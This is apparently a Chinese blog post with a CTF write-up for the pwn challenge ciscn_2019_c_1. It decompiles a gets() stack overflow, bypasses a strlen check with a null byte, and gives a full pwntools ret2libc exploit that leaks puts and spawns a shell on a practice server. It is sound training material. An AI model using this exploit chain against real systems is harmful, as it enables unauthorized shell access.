那跑过去的昼夜,是孤独的修炼~|

Smera1d0

园龄:1年6个月粉丝:11关注:0

ciscn_2019_c_1 题解

main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

交互界面:
image.png

可以看出让我们选择 加密、解密、退出
我们在ida里分析这三个函数,发现Encrypt函数里有溢出点
Encrypt函数如下:

int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

可以看到,如果v0 >= strlen(s),这个函数就会对我们输入的字符串进行一系列的异或操作,进而破坏字符串,我们可以在字符串前面加\0来绕过strlen()的检测。

关键的来了,我们需要用寄存器进行传参
image.png

得到pop_rdi的地址为0x400c83
于是我们可以构造:

payload = b'\0'+b'a'*(offset-1)#\0绕过strlen检测
payload=payload+p64(pop_rdi)#设置寄存器
payload=payload+p64(puts_got)#将puts函数传给寄存器
payload=payload+p64(puts_plt)#执行puts函数
payload=payload+p64(main)#返回main函数

然后我们就可以获取puts函数的真实地址了
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
然后我们利用真实puts地址减libc puts地址得到偏移
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
根据得到的偏移,我们就可以计算出字符串/bin/sh的真实地址和system()函数的真实地址了
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
然后我们就可以利用retpop_rdi构造ROP链,并利用主函数的begin()机制进入下一次get进行栈溢出

完整的exp如下:

from pwn import*
from LibcSearcher import*
r=remote('node4.buuoj.cn',26199)
elf=ELF('/home/miyu/Desktop/ciscn_2019_c_1')
main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
r.sendlineafter('Input your choice!\n','1')
offset = 0x50+8
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(pop_rdi)
payload=payload+p64(puts_got)
payload=payload+p64(puts_plt)
payload=payload+p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.interactive()

注意:64bit的ROP构造为ret+pop_rdi+binsh+system

libc版本我们选择第一个libc6_2.27-0ubuntu2_amd64
成功得到flag

image.png

本文作者:Smera1d0

本文链接:https://www.cnblogs.com/Smera1d0/p/17726421.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Smera1d0  阅读(672)  评论(0编辑  收藏  举报
  1. 1 郑润泽
  2. 2 如果呢 郑润泽
如果呢 - 郑润泽
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

作词 : 郑润泽

作曲 : 郑润泽

编曲 : 赵建飞

制作人 : 李淘/赵建飞

出品:网易音乐人 X 青云LAB

幻想中的行星

平行与天际

你说过的话语

是那么平静

能记得我的好

能记得我的好

也能够忘掉我

迟早

我的心里仍屹立着座城堡

不知为何

不知为何

无法感受得到

你的不舍

你是如何能够

轻易做得到

如果说是真的爱我

如果说是真的爱我

那为何都说不出口

一大堆的所以然呢

我脑海只剩为什么

就让我

放下所有回忆

所有事情不那么清晰

也许

会好

比较

幻想中的行星

平行与天际

你说过的话语

是那么平静

说记得我的好

说记得我的好

也能够忘掉我

迟早

数不清这是第几次

我也不知道

如果说是真的爱我

如果说是真的爱我

那为何都说不出口

一大堆的所以然呢

我脑海只剩为什么

就让我

放下所有回忆

所有事情不那么清晰

也许

会好

比较

如果说是真的爱我

如果说是真的爱我

那为何都说不出口

一大堆的所以然呢

我脑海只剩为什么

就让我

放下所有回忆

所有事情不那么清晰

也许

会好

比较

也许

会好

比较

出品:青桔音乐

编曲 : 赵建飞

吉他:周少伟

和声编写:曾婕Joey.Z

和声演唱:曾婕Joey.Z

人声录音师:赵野

人声录音棚:3RD Harmonic Music

弦乐编写:赵建飞

弦乐监制:李朋

弦乐:国际首席爱乐乐团

弦乐录音棚:金田录音棚

混音师:钟泽鑫

企划:潘俊

营销企划:罗旭 牛雪吟

网易云音乐特别企划“星辰集”出品

网易云音乐特别企划“星辰集”出品

评论
收藏
关注
推荐
深色
回顶
收起
点击右上角即可分享
微信分享提示